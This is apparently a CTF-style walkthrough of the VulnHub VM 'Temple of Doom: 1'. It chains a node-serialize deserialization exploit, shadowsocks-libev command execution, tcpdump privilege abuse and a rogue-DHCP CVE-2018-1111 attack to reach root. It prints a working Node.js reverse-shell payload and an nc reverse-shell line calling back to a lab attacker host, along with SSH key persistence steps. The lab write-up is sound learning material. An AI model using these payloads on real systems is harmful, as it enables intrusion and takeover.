This post documents the complete walkthrough of Temple of Doom: 1, a boot2root VM created by @0katz, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
You know it’s a high quality VM when it’s from @Pink_P4nther’s homie, @katz.
Information Gathering
Let’s start with a nmap
scan to establish the available services in the host.
# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.129
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 95:68:04:c7:42:03:04:cd:00:4e:36:7e:cd:4f:66:ea (RSA)
| 256 c3:06:5f:7f:17:b6:cb:bc:79:6b:46:46:cc:11:3a:7d (ECDSA)
|_ 256 63:0c:28:88:25:d5:48:19:82:bb:bd:72:c6:6c:68:50 (ED25519)
666/tcp open http syn-ack ttl 64 Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
nmap
finds 22/tcp
and 666/tcp
open.
Node.js Deserialization Bug
Let’s pay 666/tcp
a visit and see what we can find there.
Satan’s temple is still under construction? Thank God I’m not going to hell any time soon.
Look what happens when I refresh the page.
Look at the cookies storage.
This is the node-serialize
bug documented in CVE-2017-5941.
In any case, there’s an easy way to exploit this vulnerability following the instructions here.
There’s a slight difference though—I’m using the reverse shell generated by msfvenom
instead.
# msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.30.128 LPORT=4444
Incorporate the output from msfvenom
into rce.js
. Remember to remove the enclosing round brackets.
var rev = {
rce:function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(4444, "192.168.30.128", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); },
};
var serialize = require('node-serialize');
console.log(serialize.serialize(rev));
Run node rce.js
to get the serialized string output.
Next, add the IIFE bracket ()
at the end of the serialized string output from the previous step before passing it to base64
for encoding.
Send the entire base64
string as the profile
cookie value to http://192.168.30.129:666
. But before you do that, you want to set up your nc
listener.
As expected, the nc
listener caught the reverse shell.
You can see that nodeadmin
is a regular user with its home directory at /home/nodeadmin
; we can copy the SSH public key we control to /home/nodeadmin/.ssh/authorized_keys
and log in through SSH. We get a more superior shell this way and Ctrl-C
doesn’t kill the shell.
Here’s how to do that. First, generate the SSH keypair for nodeadmin
.
Next, create /home/nodeadmin/.ssh
and echo the SSH public key to authorized_keys
.
Now, SSH into nodeadmin
’s account.
Command Execution in shadowsocks-libev
During enumeration of nodeadmin
’s account, I notice /usr/local/bin/ss-manager
is running as fireman
.
A quick search for “ss-manager” in Google led me to EDB-ID 43006. Listing the listening ports further confirmed the command execution “feature”.
A more liberal nc
is also available for use in the VM.
Armed with this knowledge, we can execute nc
to give us a reverse shell as fireman
.
On our nc
listener, a reverse shell returns as fireman
.
We can repeat the same SSH trick for fireman
.
Dangerous tcpdump
During enumeration of fireman
’s account, I found the following.
tcpdump
in particular, can execute commands and run in another user’s privilege with the -z
and -Z
options respectively.
Let’s save nc 192.168.30.128 1234 -e /bin/bash
into /tmp/rev.sh
and make it executable.
And execute tcpdump
like so.
On the nc
listener, a root
shell returns.
After repeating the SSH trick, getting the flag is trivial.
Afterthought
I wonder what’s the second method for getting root
? Could it be the exploitation of abrt
?
I think I got it figured out. CVE-2018-1111 anyone?
The signs were there all this time.
There’s a reason why fireman
can sudo
to execute nmcli
and iptables
. Even the source of the vulnerability is present.
The proof-of-concept (PoC) code is so small it can fit inside a tweet, with the help of dnsmasq
of course.
Let’s try it out.
In one terminal, I set up my attacking machine (192.168.30.128) as the rogue DHCP server with dnsmasq
. In another terminal, I set up the nc
listener to catch the reverse shell.
Now, let’s renew the VM’s IP address with nmcli
. My rogue DHCP server will respond to the VM’s DHCP request with the injected command (nc
to send /bin/bash
over to me, i.e. a reverse shell) in the DHCP offer.
A root
shell returns.
Below are the DHCP packets and the rogue DHCP offer captured in WireShark.